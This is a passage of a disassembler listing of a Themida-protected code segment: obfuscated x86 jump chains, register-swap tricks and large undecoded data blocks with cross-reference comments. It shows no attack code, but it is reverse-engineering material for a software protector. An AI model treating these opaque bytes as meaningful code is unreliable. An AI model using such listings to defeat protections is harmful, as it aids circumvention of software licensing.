45B951D3h, 41249A55h, 0F749E1D1h, 0A5C181D9h dd 314F8ACBh, 0E99359CBh, 575Eh ; --------------------------------------------------------------------------- loc_54AA88: ; CODE XREF: Themida_:0054C180j add ebx, ecx pop ecx xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] push ecx mov ecx, esp add ecx, 4 jmp loc_55012C ; --------------------------------------------------------------------------- loc_54AAA5: ; CODE XREF: Themida_:0054CB94j inc edx add edx, 0BF9F577Eh sub [edi+24h], edx pop edx loc_54AAB0: ; CODE XREF: Themida_:loc_550338j push 621Ah mov [esp], ebx push ecx jmp loc_548067 ; --------------------------------------------------------------------------- dw 0C181h dd 7E670A20h, 7DEABB53h, 0F3816479h, 7D6B5C4Bh, 167AF381h dd 0D9213DC7h, 16E1815Bh, 0E9074C37h, 533Dh, 269EF281h dd 0D12116DBh, 8324148Bh, 0E95704C4h, 0FFFFDEDDh dword_54AAF8 dd 24048B66h, 8904EC83h, 5A542414h, 0E9E28952h, 0F1Dh ; DATA XREF: Themida_:005462A8o dd 0E953E289h, 533Ah dword_54AB14 dd 8B2434FFh, 8352240Ch, 248904ECh, 24048124h, 4, 8324148Bh ; DATA XREF: Themida_:0054634Co dd 0C28104C4h, 4, 8704C283h, 0E95C2414h, 74A6h, 87242C31h dd 87D2F7D5h, 4F91E9D5h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54AB4E: ; CODE XREF: Themida_:0054E844j pop ebx pop esi xor [esp], ebx xor ebx, [esp] xor [esp], ebx jmp loc_5483D8 ; --------------------------------------------------------------------------- dw 2C81h dd 6B16F124h, 0B9515D7Dh, 7D6B16F1h, 0FF59CD01h db 34h, 24h, 5Bh ; --------------------------------------------------------------------------- push ebp mov ebp, esp push edx mov edx, 290E2FE4h jmp loc_5468BF ; --------------------------------------------------------------------------- loc_54AB81: ; CODE XREF: Themida_:0054BD17j sub [esp+4], esi push eax push ebx mov ebx, 727E70A5h mov eax, ebx pop ebx jmp loc_54D961 ; --------------------------------------------------------------------------- dd 0FEA9B753h, 0E2C780C7h, 4B15152h, 0CA0010B2h, 12EA8059h dd 0F280C2FEh, 94C28001h, 8090B151h, 0CF0087C1h, 81D72859h dd 4ECh, 24048900h, 0C4807BB4h, 80DCF67Dh, 0EC804BECh dd 79C4801Fh, 8B58E728h, 0C4832414h, 5BFA8804h, 7303E9h dd 34FF5B00h, 3A4BE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54ABEE: ; CODE XREF: Themida_:0054FCF9j pop edx jmp loc_54F5D8 ; --------------------------------------------------------------------------- loc_54ABF4: ; CODE XREF: Themida_:0054CAC3j xchg eax, [esp] pop esp jmp loc_549C08 ; --------------------------------------------------------------------------- db 8Bh, 4, 24h dd 53E08950h, 0D525A6BBh, 0DEEB8136h, 0E9267E56h, 0FFFFC068h dd 295FF931h, 0FE8959CFh, 5F2434FFh, 4C481h, 44E90000h dd 0C100003Ah, 0C58103E5h, 0E8F03494h, 47BEE9h, 2424D300h dd 0B8A9E99Ch, 8B54FFFFh, 0C4812414h, 4, 4C281h, 0BE560000h dd 12A37763h, 6B6168h, 28C4E900h, 1C890000h, 50F5B324h dd 3CE9E2B0h, 81FFFFC1h, 372EC0EDh, 5DEB2925h, 7AC4C381h dd 0EB813399h, 32E6639Ah, 0C381C329h, 32E6639Ah, 7AC4EB81h dd 0C3813399h, 3CA32E40h, 578CE9h, 242C3100h, 8B242C33h dd 0C4832424h, 680E6804h, 0C890000h, 0E5E95724h, 8100001Bh dd 0FB052EF7h, 11F78105h, 81C005B4h, 2808B4C3h, 81FB0112h dd 2808B4EBh, 0D3015F12h, 1289EB81h, 685A533Eh, 69E0h dd 0FFF580E9h, 0E95166FFh, 726Ch dword_54ACEC dd 8B2434FFh, 0C4812404h, 4, 5C98E9h, 4C38300h, 60E1E9h ; DATA XREF: Themida_:00546378o db 0 ; --------------------------------------------------------------------------- loc_54AD05: ; CODE XREF: Themida_:0054772Aj neg ebp sub ebp, 51F3D8E7h sub eax, 74125E39h sub eax, ebp push edi push ecx mov ecx, 249F1F17h jmp loc_54C674 ; --------------------------------------------------------------------------- loc_54AD20: ; CODE XREF: Themida_:0054D8FAj push ecx mov ecx, 6A8A19C7h and ecx, 622E4BEFh neg ecx not ecx shr ecx, 4 jmp loc_54D16F ; --------------------------------------------------------------------------- dd 71EED81h, 814D057Dh, 2C07ABE5h, 5436E97Bh, 0ED810000h dd 60D60223h, 3ABFF581h, 0F5811789h, 54882D99h, 315DE929h dd 7344E9CEh, 95BD0000h, 557A031Eh, 242C8B59h, 4C481h dd 0D9870000h, 8701C383h, 0CE981D9h, 131E013h, 240C8BC8h dd 4C481h, 0D8010000h, 0FFD631E9h, 0C1405BFFh, 974008E0h dd 597D7F7h, 0C4FB46B7h, 0FFD38DE9h, 4B8FFh, 44010000h dd 0E9580424h, 0FFFFBFE2h, 666AE981h, 0B85023DAh, 0 dd 1088C801h, 54B7E9h, 81E58900h, 4C5h, 4C58300h, 5C242C87h dd 0E924048Fh, 3AF8h ; --------------------------------------------------------------------------- loc_54ADE4: ; CODE XREF: Themida_:0054B812j mov ecx, [esp] push 540Ch mov [esp], ebp mov ebp, esp add ebp, 4 jmp loc_54E957 ; --------------------------------------------------------------------------- dd 295DE901h, 0D18959CAh, 0E9CE015Ah, 0FFFFD090h ; --------------------------------------------------------------------------- loc_54AE0C: ; CODE XREF: Themida_:005510E1j push esp push dword ptr [esp] pop ecx push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_5494C8 ; --------------------------------------------------------------------------- byte_54AE29 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:00546420o dd 0F2E95124h db 15h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54AE33: ; CODE XREF: Themida_:00550F5Cj xor ecx, 60792D2Eh not ecx shl ecx, 2 jmp loc_54D386 ; --------------------------------------------------------------------------- db 0D3h dd 0E99C2404h, 0FFFFB69Fh, 4BDh, 5DEE2900h, 2474FF56h dd 24348B04h, 8F04C483h, 248B2404h, 240C8924h, 0FFB67EE9h db 0FFh ; --------------------------------------------------------------------------- loc_54AE6D: ; CODE XREF: Themida_:0054F985j push eax mov eax, 621A0416h jmp loc_546E7E ; --------------------------------------------------------------------------- loc_54AE78: ; CODE XREF: Themida_:0054A581j push edi jmp loc_54E1F6 ; --------------------------------------------------------------------------- dw 1C89h dd 0F205E924h db 2 dup(0FFh) word_54AE86 dw 5ADh ; DATA XREF: Themida_:005462C8o dd 23F82566h, 49FBE9h, 2E4B900h, 2FE9599Eh, 8900004Eh dd 0E68956E5h, 6190E9h db 0 ; --------------------------------------------------------------------------- loc_54AEA5: ; CODE XREF: Themida_:005495C4j add ebp, 582E2BDBh push ebp not dword ptr [esp] pop ebp neg ebp jmp loc_548402 ; --------------------------------------------------------------------------- db 0BAh dd 4, 148BD001h, 524C6824h, 48E90000h, 5000041h, 331A5DFAh dd 86E9C689h, 29FFFFE0h, 2203E9E8h, 14890000h, 0EEB4E924h dd 48FFFFFh, 6DF2E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54AEEE: ; CODE XREF: Themida_:00548415j sub edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] jmp loc_546801 ; --------------------------------------------------------------------------- db 29h dd 0F8015AD0h, 9458AF05h, 3CC90556h, 505F06DDh, 39E8E9h db 0 ; --------------------------------------------------------------------------- loc_54AF15: ; CODE XREF: Themida_:005516DEj pop eax pop ecx add ecx, 4 add ecx, 4 jmp loc_550BEA ; --------------------------------------------------------------------------- dd 1874C381h, 0DE313A08h, 81241C8Bh, 4C4h, 3B7A2D00h, 0A8056C42h dd 0E97EDE03h, 1EB0h, 41FDE981h, 0E9011052h, 41FDC181h dd 875D1052h, 315C240Ch, 0E99C2404h, 0FFFFB587h, 0BF3EC181h dd 0ED81C87Dh, 5A2A14E7h, 0A9AE9h, 24048700h, 2B9515Ch dd 1000000h, 1C8759CBh, 8B665C24h, 0ADE92404h, 8700006Dh dd 0D25C2404h, 0E99C2424h, 0FFFFB54Fh, 4EC81h, 3C890000h dd 81E78924h, 4C7h, 4BD5500h, 1000000h, 2E95DEFh db 0E2h, 2 dup(0FFh) byte_54AFBB db 66h ; DATA XREF: Themida_:00546230o dd 5724048Bh, 64FDE9h, 54F38100h, 0E910843Ah, 1A87h, 0CE2CD800h dd 8951992Ch, 4C181E1h, 83000000h, 0C8704E9h, 0DEE95C24h dd 0F7FFFFDCh, 0EB8143D3h, 0FFBF7BFCh, 0E95BDE01h, 0FFFFE261h dd 0E4E90103h, 59000025h, 203FF581h, 0ED811991h, 33016634h dd 0FFFF33E9h, 2BF268FFh, 2C890000h, 4BD24h, 0EA810000h dd 1C3C2777h, 0C281EA01h, 1C3C2777h, 2BE565Dh, 81000000h dd 5558C0EAh, 81F2014Dh, 5558C0C2h, 609CE94Dh, 3C310000h dd 243C3324h, 0E9F8295Ch, 182Bh, 0BD242C89h, 202F18F1h dd 10E4E9h db 0 ; --------------------------------------------------------------------------- loc_54B065: ; CODE XREF: Themida_:00548883j add ebp, 0FBF55476h mov eax, ebp pop ebp xor eax, 9EA7F874h jmp loc_5485A1 ; --------------------------------------------------------------------------- aQXckSsp db 'Q╧xC╙',0Bh,'ИИp',0 db 0 ; --------------------------------------------------------------------------- loc_54B083: ; CODE XREF: Themida_:0054693Bj pop esi jmp loc_54F9E3 ; --------------------------------------------------------------------------- loc_54B089: ; CODE XREF: Themida_:00549715j pop ebx add eax, 4 jmp loc_54F761 ; --------------------------------------------------------------------------- dword_54B094 dd 0E92C77FFh, 0FFFFB44Fh ; DATA XREF: Themida_:005463F4o ; --------------------------------------------------------------------------- loc_54B09C: ; CODE XREF: Themida_:0054B638j shl edx, 1 push 52B8h mov [esp], eax push ebp jmp loc_54EE8E ; --------------------------------------------------------------------------- dd 0E95BDE00h, 677Ch, 4B9h, 0C7A0E900h, 0B72DFFFFh, 0E93D8948h dd 4CF5h, 0E9243C33h, 0FFFFFF7Ah, 4240481h, 8F000000h dd 4812404h, 424h, 0C7815F00h, 4, 4ACB68h, 24348900h, 2BEh dd 8BF70100h, 0C4812434h, 4, 8B243C87h, 0FBE92424h db 0E7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B10B: ; CODE XREF: Themida_:00548704j mov eax, 771D098Bh jmp loc_547BF7 ; --------------------------------------------------------------------------- db 5Bh, 83h, 0C7h dd 32C9E902h, 0DD010000h, 51BDE9h db 0 ; --------------------------------------------------------------------------- loc_54B125: ; CODE XREF: Themida_:00548E52j not edi and edi, 3F285C7Ah sub edi, 54A574E2h push esi push edi mov edi, 19623621h jmp loc_54FB7B ; --------------------------------------------------------------------------- loc_54B13F: ; CODE XREF: Themida_:0054E63Dj add ebp, 4 add ebp, 4 jmp loc_547AF9 ; --------------------------------------------------------------------------- db 0F7h, 14h, 24h aL4Swt db '▀4$ИWT',0 align 4 dd 88CE8852h, 0E72AE9F0h, 0AA68FFFFh, 8900002Eh, 0EE68240Ch dd 0E96F6C42h, 40AEh ; --------------------------------------------------------------------------- loc_54B174: ; CODE XREF: Themida_:005481DEj push dword ptr [esp] jmp loc_54C469 ; --------------------------------------------------------------------------- dword_54B17C dd 240C8B66h, 3D076857h, 24890000h, 24048324h, 5E685F04h ; DATA XREF: Themida_:00546354o dd 0E9000008h, 4E4Ah, 6403ACBDh, 0F7C58144h, 0F71F3A21h dd 8E5C1DDh, 0FFFAC2E9h, 606568FFh, 0C890000h, 61FEE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54B1BA: ; CODE XREF: Themida_:0054ECBEj add edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp push eax mov eax, esp add eax, 4 push ebx mov ebx, 4 sub eax, ebx pop ebx xchg eax, [esp] jmp loc_55071B ; --------------------------------------------------------------------------- dd 11540B8h, 0ECED0555h, 0C329CC61h, 81CB2958h, 63022DC3h dd 9E95921h, 68FFFFEDh, 2CFFh, 0E9240C89h, 5C57h ; --------------------------------------------------------------------------- loc_54B208: ; CODE XREF: Themida_:0054C0D2j mov [esp], eax mov eax, esp push ebx mov ebx, 4 add eax, ebx pop ebx add eax, 4 xchg eax, [esp] pop esp push 66DDh mov [esp], ebp sub esp, 4 mov [esp], ecx push edi push ecx mov ecx, 6796A55h mov edi, ecx pop ecx mov ecx, 277535A1h xor ecx, edi pop edi push ecx sub dword ptr [esp], 7A0E2716h mov ebp, [esp] add esp, 4 add ebp, 7A0E2716h mov ecx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] jmp loc_546870 ; --------------------------------------------------------------------------- loc_54B26D: ; CODE XREF: Themida_:00546DA6j xchg ecx, [esp] jmp loc_54BE31 ; --------------------------------------------------------------------------- db 81h, 0C3h, 4 dd 83000000h, 1C8704EBh, 34895C24h, 606EBE24h, 0EC835E43h dd 240C8904h, 0E0137268h, 240C8B2Fh, 6804C483h, 7D2Ch dd 0BB241C89h, 13B74EFFh, 9BF7EB81h, 0D929421Ah, 0E9CE315Bh dd 1572h ; --------------------------------------------------------------------------- loc_54B2B8: ; CODE XREF: Themida_:0054E84Aj sub ecx, 0BB7E553Bh xor ebp, ecx pop ecx and eax, ebp push dword ptr [esp] mov ebp, [esp] jmp loc_5493F5 ; --------------------------------------------------------------------------- dw 0C383h dd 241C8704h, 0FFCE9EE9h, 4C483FFh ; --------------------------------------------------------------------------- loc_54B2DC: ; CODE XREF: Themida_:005511A8j push 5FCBh mov [esp], eax jmp loc_54729C ; --------------------------------------------------------------------------- db 0BDh, 0B2h, 4Fh dd 0B8507D0Ah, 4F716F5h, 0E883D0F7h, 573A2DFFh, 70511FAh dd 187D89Ch, 0B95158C5h, 6E4C082Dh, 0E1C1D1F7h, 0C1814104h dd 3DDCC43Bh, 0D159CD29h, 0ED814DE5h, 29AA7857h, 7F48C781h dd 0E9506206h, 0FFFFDE4Bh ; --------------------------------------------------------------------------- loc_54B330: ; CODE XREF: Themida_:00547748j mov edx, [esp] add esp, 4 xor edx, 440B4130h jmp loc_54867E ; --------------------------------------------------------------------------- db 57h, 0BFh, 99h dd 8129D861h, 0C20861CFh, 62E7815Fh, 817AA024h, 0BD621ECFh dd 7AEF8101h, 517BBD62h, 0B9E9h db 0 aNvqwhECsJ db '╜VQWhЛe╤cИ',7,'j',0 ; DATA XREF: Themida_:0054647Co db 0 ; --------------------------------------------------------------------------- loc_54B373: ; CODE XREF: Themida_:00551817j mov esp, [esp] jmp loc_5464EB ; --------------------------------------------------------------------------- db 0BEh dd 7691709Eh, 95E9DEF7h db 0E2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B387: ; CODE XREF: Themida_:0054EC1Ej xor eax, ecx sub esp, 4 mov [esp], eax xor [esp], edx jmp loc_548E45 ; --------------------------------------------------------------------------- loc_54B39A: ; CODE XREF: Themida_:005485D9j pop ebx sub ecx, 1 push ebx mov ebx, 286520E1h or ebx, 1C240216h push edi mov edi, 365535F0h neg edi jmp loc_54F544 ; --------------------------------------------------------------------------- db 0B7h dd 4B55154h, 6192E9h, 24348700h, 0F724248Bh, 8E3C1D3h dd 9971C381h, 0DA0948A1h, 6A07E9h, 5EF50100h, 31242C33h dd 2C33242Ch, 4085C24h, 0FCE99C24h db 0B0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B3EF: ; CODE XREF: Themida_:00547814j pop ebp pop edi add edi, ebp pop ebp add edi, ecx push ecx push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], ebp mov ebp, 2AD40E67h mov ecx, 47AE231Dh sub ecx, ebp jmp loc_54A678 ; --------------------------------------------------------------------------- dw 68B9h dd 291B4622h, 0C28159CAh, 1DF17556h, 0EA81FA01h, 1DF17556h dd 2268BE56h, 0EA811B46h, 7917755Bh, 50E9F201h, 28000021h dd 805966EFh, 0F82861EFh, 157FE95Bh, 14890000h, 375EE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54B45E: ; CODE XREF: Themida_:0054B582j add esi, eax jmp loc_551283 ; --------------------------------------------------------------------------- db 0BBh, 0F4h, 2Eh dd 0BA525B71h, 79C84655h, 2AEFF281h, 0D33103EAh, 24E3815Ah dd 5519E56Ch, 0F035FBDh, 0AAED8156h, 21FAC8B2h, 2E95DEBh db 39h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54B493: ; CODE XREF: Themida_:00550F1Aj mov ecx, [eax] mov eax, [esp] add esp, 4 push 5323h mov [esp], edx push eax jmp loc_5508B7 ; --------------------------------------------------------------------------- db 1, 0D0h, 53h dd 29024BBBh, 0C6E38134h, 0F7769A28h, 0B31BE9D3h, 0F181FFFFh dd 0ACDCCECBh, 34FFCE01h, 240C8B24h, 5204C483h, 0C281E289h dd 4, 4C281h, 0E5E90000h, 1000015h, 24148BD3h, 6804C483h dd 29DDh, 0FFE615E9h, 0EEEE81FFh, 5A07C31Ah, 2B850h, 0C6010000h dd 24348758h, 3F92E9h db 0 ; --------------------------------------------------------------------------- loc_54B50D: ; CODE XREF: Themida_:0054DA86j push 399h mov [esp], ebx jmp loc_547741 ; --------------------------------------------------------------------------- dw 525Ah dd 0C6FEB5B6h, 0E90AEE80h, 6C7h, 46FC181h, 0D1010AB1h dd 46FE981h, 7E90AB1h db 0D8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B53B: ; CODE XREF: Themida_:0054EDD4j mov ebx, [esp] add esp, 4 or eax, eax jz loc_551251 push dword ptr [edi+1Ch] push ebp mov ebp, 632414AFh xor ebp, 27840500h add [esp+4], ebp pop ebp mov ecx, [esp] push esi mov esi, esp jmp loc_54B57C ; --------------------------------------------------------------------------- db 81h dd 4C1h, 4C18300h, 0E9240C33h, 529Ah ; --------------------------------------------------------------------------- loc_54B57C: ; CODE XREF: Themida_:0054B566j push eax mov eax, 4 jmp loc_54B45E ; --------------------------------------------------------------------------- loc_54B587: ; CODE XREF: Themida_:0054687Bj push ebp mov ebp, 6B44E03h mov edi, 87189FCh add edi, ebp pop ebp sub ebp, edi pop edi and ecx, ebp pop ebp shr ecx, 0Bh push edx jmp loc_54EBE5 ; --------------------------------------------------------------------------- loc_54B5A4: ; CODE XREF: Themida_:0055000Bj pop eax add eax, 56725691h mov edx, eax pop eax shl edx, 3 or edx, 40E6C26h not edx sub edx, 18770A92h sub edx, 39A8F8C3h add esi, edx pop edx add esi, 4 jmp loc_551814 ; --------------------------------------------------------------------------- loc_54B5D2: ; CODE XREF: Themida_:00551FCFj add esp, 4 or edx, eax shl edx, 1 jmp loc_551A90 ; --------------------------------------------------------------------------- dw 1489h dd 0E995B224h, 55F6h, 4B8505Fh, 1000000h, 66FBE9C3h, 295A0000h dd 52CE2DD8h, 34FF51DEh, 2434FF24h, 81241C8Bh, 4C4h, 4C48300h dd 50E78957h, 4B8h, 8E4E900h, 4870000h, 24248B24h, 52240489h dd 7DE9E289h db 14h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54B62F: ; CODE XREF: Themida_:00546B7Fj push dword ptr [esp] pop edx add esp, 4 or edx, eax jmp loc_54B09C ; --------------------------------------------------------------------------- loc_54B63D: ; CODE XREF: Themida_:00551ABFj mov [esp], esi mov esi, edi mov ecx, esi pop esi mov edi, [esp] add esp, 4 and eax, ecx push dword ptr [esp] push dword ptr [esp] pop ecx add esp, 4 add esp, 4 or edx, eax shl edx, 1 push ebp push 420Ah mov [esp], eax mov eax, 6E70174Ch xor eax, 38CF7A1Eh neg eax add eax, 6EEE68D4h dec eax or eax, 10757FF7h jmp loc_54916E ; --------------------------------------------------------------------------- dw 0C7FEh dd offset dword_561868 dd 24048900h, 0C7003CB0h, 5BF82858h, 0B60FC330h, 0E62E9C0h dd 0EA810000h, 5FED7D28h, 7E6468h, 243C8900h, 6C42EEBFh dd 5FFA016Fh, 0FFAE2EE9h, 5FFE01FFh, 2474FF56h, 48F5E04h dd 511BE924h, 815D0000h, 4C6h, 74FF5600h, 5CE90424h, 8B00003Ch dd 65E9241Ch db 6Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_54B6E7: ; CODE XREF: Themida_:00548042j add esp, 4 or eax, eax jmp loc_550338 ; --------------------------------------------------------------------------- loc_54B6F1: ; CODE XREF: Themida_:0054F887j add ebp, 4 xchg ebp, [esp] pop esp jmp loc_54D49B ; --------------------------------------------------------------------------- db 89h, 0Ch, 24h dd 0FFC512E9h db 0FFh ; --------------------------------------------------------------------------- loc_54B705: ; CODE XREF: Themida_:0054945Aj add eax, 70F42D0Ah push ecx push 673Fh mov [esp], edi push esi mov esi, 7D663E98h push edx mov edx, 6812DA8h or esi, edx jmp loc_54A4B9 ; --------------------------------------------------------------------------- dw 0DD68h dd 89000015h, 2FE9240Ch, 0F700003Eh, 5EFC1DFh, 2CE2E9h dd 7EBF5700h, 3136043Ah, 0E9C15FF9h, 0E9814108h, 1C6F3CF4h dd 6120E957h, 57500000h, 5B180DBFh, 0A5DE97Eh db 2 dup(0) word_54B762 dw 4ACh ; DATA XREF: Themida_:00546274o dd 0E9FB2CB3h, 67F5h, 0C081B050h, 516604E0h, 0C820BBB1h dd 240C8B66h, 14E0E9h, 24048900h, 6B4FE9h, 4C68100h, 53000000h dd 2BBh, 5168E900h, 0CBB80000h, 0E92A5159h, 2C00h, 50E94434h dd 89FFFFFAh, 4C781E7h, 0E9000000h, 0FFFFE698h ; --------------------------------------------------------------------------- loc_54B7B8: ; CODE XREF: Themida_:00549BE0j xchg eax, [esp] jmp loc_54EA22 ; --------------------------------------------------------------------------- loc_54B7C0: ; CODE XREF: Themida_:0054C378j add ecx, ebx pop ebx jmp loc_54FF96 ; --------------------------------------------------------------------------- dd 31241C33h, 1C33241Ch, 24248B24h, 0FFEC95E9h, 5724BDFFh dd 814D6B02h, 3079BCCDh, 2EED8114h, 0E9472B59h, 0FFFFC9BFh ; --------------------------------------------------------------------------- loc_54B7F0: ; CODE XREF: Themida_:0054F2D3j mov ebx, 34925869h sub esp, 4 mov [esp], ecx mov ecx, 1AEA485Fh inc ecx shl ecx, 4 xor ecx, 58262C77h xor ecx, 926AF175h mov esi, ecx jmp loc_54ADE4 ; --------------------------------------------------------------------------- loc_54B817: ; CODE XREF: Themida_:0054840Aj pop ebp add [esp+4], esi pop esi mov esi, [esp] add esp, 4 push 6829h mov [esp], eax jmp loc_551B0A ; --------------------------------------------------------------------------- db 5Fh dd 13E9D9F7h, 8900006Dh, 0B9512414h, 65417BDBh, 0FFCF28E9h db 0FFh ; --------------------------------------------------------------------------- loc_54B849: ; CODE XREF: Themida_:00551F49j push eax mov eax, 0E59FC83Eh xor ebp, eax jmp loc_54D376 ; --------------------------------------------------------------------------- dw 0EE81h dd 5D8628Fh, 786CC681h, 555B15E4h, 4BDh, 22EE8100h, 1626757h dd 22C681EEh, 5D626757h, 0FFDE6AE9h, 0DBBF57FFh, 5162C36Fh dd 0E71233B9h, 0C1814156h, 0ADDEE8Ch, 4AC2E9h db 0 ; --------------------------------------------------------------------------- loc_54B895: ; CODE XREF: Themida_:005513EFj push ebx mov ebx, 541076F7h or ebx, 2BDE1D5Eh xor ebx, 57597E92h jmp loc_5485D7 ; --------------------------------------------------------------------------- dword_54B8AC dd 240C8B66h, 50E38953h, 16F8E9h ; DATA XREF: Themida_:00546384o db 0 ; --------------------------------------------------------------------------- loc_54B8B9: ; CODE XREF: Themida_:0054BB31j add edi, 2A485F4Dh jmp loc_5477E2 ; --------------------------------------------------------------------------- loc_54B8C4: ; CODE XREF: Themida_:005513B3j pop edi or ebx, ebp pop ebp push 789Bh mov [esp], ebp jmp loc_548233 ; --------------------------------------------------------------------------- byte_54B8D5 db 56h, 0BEh, 1Fh ; DATA XREF: Themida_:00546260o dd 0F77C837Dh, 936851DEh, 89000052h, 7AE92434h, 5DFFFFCAh dd 4C481h, 0BD550000h, 304532A2h, 28C5E9h, 284EB300h, 241C8BD8h dd 4C481h, 68660000h, 89667498h, 54E9241Ch, 55000027h dd 5C81E9h db 0 ; --------------------------------------------------------------------------- loc_54B91D: ; CODE XREF: Themida_:0054A285j pop esp xor eax, ebp pop ebp xor ebx, eax xor edx, eax jmp loc_5464EB ; --------------------------------------------------------------------------- dw 0C481h dd 4, 4BF57h, 0F8010000h, 0ABE9555Fh db 56h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54B93F: ; CODE XREF: Themida_:0054F167j pop eax jmp loc_550C2D ; --------------------------------------------------------------------------- db 5Ch, 5, 0ADh dd 17AD017h, 64AEE9D8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54B952: ; CODE XREF: Themida_:00546F86j push eax jmp loc_547A89 ; --------------------------------------------------------------------------- dd 8005E6C0h, 7AE950EEh, 8100000Ah, 4C7h, 4C78300h, 5C243C87h dd 0E9FFC280h, 4522h dword_54B978 dd 4BE957ADh ; DATA XREF: Themida_:005462ACo db 0Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54B97F: ; CODE XREF: Themida_:0054DD9Fj pop ebp add esi, eax push edi mov edi, 0DEF13ABh jmp loc_547A2F ; --------------------------------------------------------------------------- db 5Ah, 55h, 0BDh dd 4, 0E95DEE01h, 34B3h ; --------------------------------------------------------------------------- loc_54B99C: ; CODE XREF: Themida_:00549A45j or ebp, 6F7A2D6Dh add ebp, 9084C481h and eax, ebp pop ebp push eax push ebx push 5693h mov [esp], edx jmp loc_546B2F ; --------------------------------------------------------------------------- dw 0EE81h dd 41FB4E69h, 0BF57DEF7h, 2C1DE13Eh, 0A3E9FE31h, 6600001Fh dd 5BDE8859h, 808DF680h, 0E95354C6h, 5E47h, 60E7BB53h dd 0D83110DFh, 0FFF3A8E9h, 0D8295BFFh, 4EC815Bh, 0E9000000h dd 6429h, 8304C483h, 48904ECh, 2B824h, 0E3E90000h, 100004Fh dd 0E7C581CDh, 595A2A14h, 5EE9EB01h, 0B900006Bh, 78E26469h dd 479E9h, 4C28100h, 83000000h, 148704EAh, 3C895C24h, 4BF24h dd 77E90000h, 81000024h, 4C5h, 4ED8300h, 5C242C87h, 0FF241489h dd 8B042474h, 0E9552414h, 0FFFFF36Dh, 7506EE81h, 0C6810A7Eh dd 0FFFFFFFFh, 713D68h, 241C8900h, 50C4E9h, 0C4835A00h dd 49056604h, 0E5A9E970h, 0F749FFFFh, 1BF181D1h, 1F39FF7h dd 96E959CEh, 30FFFFE4h, 426EE9F8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54BA9E: ; CODE XREF: Themida_:0054A02Aj pop esp and ecx, eax push dword ptr [esp] pop eax add esp, 4 shr ecx, 2 sub esp, 4 mov [esp], ebx sub dword ptr [esp], 25E168B4h push dword ptr [esp] mov eax, [esp] jmp loc_54F001 ; --------------------------------------------------------------------------- loc_54BAC9: ; CODE XREF: Themida_:00551C65j xor ecx, eax jmp loc_54F074 ; --------------------------------------------------------------------------- dd 280BB050h, 526658C3h, 0F32858B6h, 24148B66h, 8002C483h dd 9DE944C3h db 48h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54BAEB: ; CODE XREF: Themida_:005483E7j add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp sub esp, 4 mov [esp], esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], ebp mov ebp, 6BBC6F3Ah jmp loc_549FC0 ; --------------------------------------------------------------------------- loc_54BB1D: ; CODE XREF: Themida_:00546724j push ebx jmp loc_54E774 ; --------------------------------------------------------------------------- loc_54BB23: ; CODE XREF: Themida_:0054FD77j neg edi and edi, 6F22650Bh sub edi, 1C2244CAh jmp loc_54B8B9 ; --------------------------------------------------------------------------- dw 0FD89h dd 8BE8215Fh, 0C483242Ch, 0FC00904h, 24CA84h, 67556800h dd 4890000h, 0FE6824h, 34FF0000h, 2434FF24h, 0E6895658h dd 4C681h, 0C6830000h, 24348704h, 3D0CE95Ch, 0E9C00000h dd 3F18004h, 0E907E1C0h, 147Ah, 8B24048Fh, 8B662424h, 0AEE92404h dd 81000008h, 731632C1h, 0CDC98170h, 566E1221h, 53DDE951h dd 2C8B0000h, 4CB4E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54BBAA: ; CODE XREF: Themida_:005525D2j mov ebp, [esp] add esp, 4 sub ecx, 4 xchg ecx, [esp] mov esp, [esp] jmp loc_546AE3 ; --------------------------------------------------------------------------- dd offset dword_43A998+3D0h dd 3567E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54BBCE: ; CODE XREF: Themida_:0054A24Fj push dword ptr [esp+4] pop edx pop dword ptr [esp] pop esp push 1B5Dh mov [esp], edi mov edi, 5C0E0C3Ah push ebx mov ebx, 484E0AD4h jmp loc_54CCDA ; --------------------------------------------------------------------------- db 80h dd 2BE93ACEh db 0EBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54BBF7: ; CODE XREF: Themida_:0054F862j xchg ebp, [esp] mov esp, [esp] mov [esp], eax jmp loc_5464EB ; --------------------------------------------------------------------------- db 1, 0CAh, 0E9h dd 628Fh, 4C0835Ah, 8B240487h, 48F2424h, 24248B24h, 9C2424D2h dd 0FFA8C6E9h, 243433FFh, 33243431h, 248B2434h, 82BE5624h dd 1513D66h, 24348BF2h, 0E904C483h, 2409h, 43B1F781h, 0F8295D6Fh dd 7AB9515Fh, 0F74CB94Bh, 0CFE981D9h, 15CC2B1h, 0E7E959C8h dd 0B9FFFFBBh, 400E0261h, 8159CB29h, 4ECh, 0E507E900h dd 0EC81FFFFh, 4, 0B9240C89h, 7449619Bh, 0E181D1F7h, 41A343BFh dd 2394F181h, 0C9814FC3h, 694539C2h, 10D8C181h, 5FE90A02h dd 81000048h, 16075BC2h, 5AD0310Dh, 38D7E955h, 0C6830000h dd 2436802h, 34890000h, 